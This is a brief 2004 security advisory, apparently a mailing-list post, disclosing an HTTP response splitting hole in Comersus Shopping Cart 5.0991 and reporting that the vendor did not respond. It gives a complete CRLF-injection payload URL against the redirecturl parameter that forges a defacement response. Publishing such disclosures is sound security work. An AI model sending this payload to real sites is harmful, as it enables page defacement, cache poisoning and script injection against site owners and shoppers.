ADVISORY: http response splitting hole in Comersus shopping cart

["Maestro De-Seguridad" <maestrodeseguridad@xxxxxxxxx>]

ADVISORY
 
Author: Maestro (me!)
 
Date: 01-SEP-04
 
Vendor: Comersus (www.comersus.com)
 
Product: Comersus Shopping Cart 5.0991
 
Problem: Http response splitting (web cache poisoning, xss, 
yadayadayada) - 

http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
 
Exploit:
http://site/path_to_comersus/comersus_customerLoggedVerify.asp?

redirecturl=%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-L

ength:%2028%0d%0a%0d%0a{html}0wned%20by%20me{/html}

(replace curly braces with lessthan and greaterthan)

Vendor status: vendor was contacted (attempt) several times over the 
last two weeks, by their bug report form, and by emal to support. No 
response so far. 

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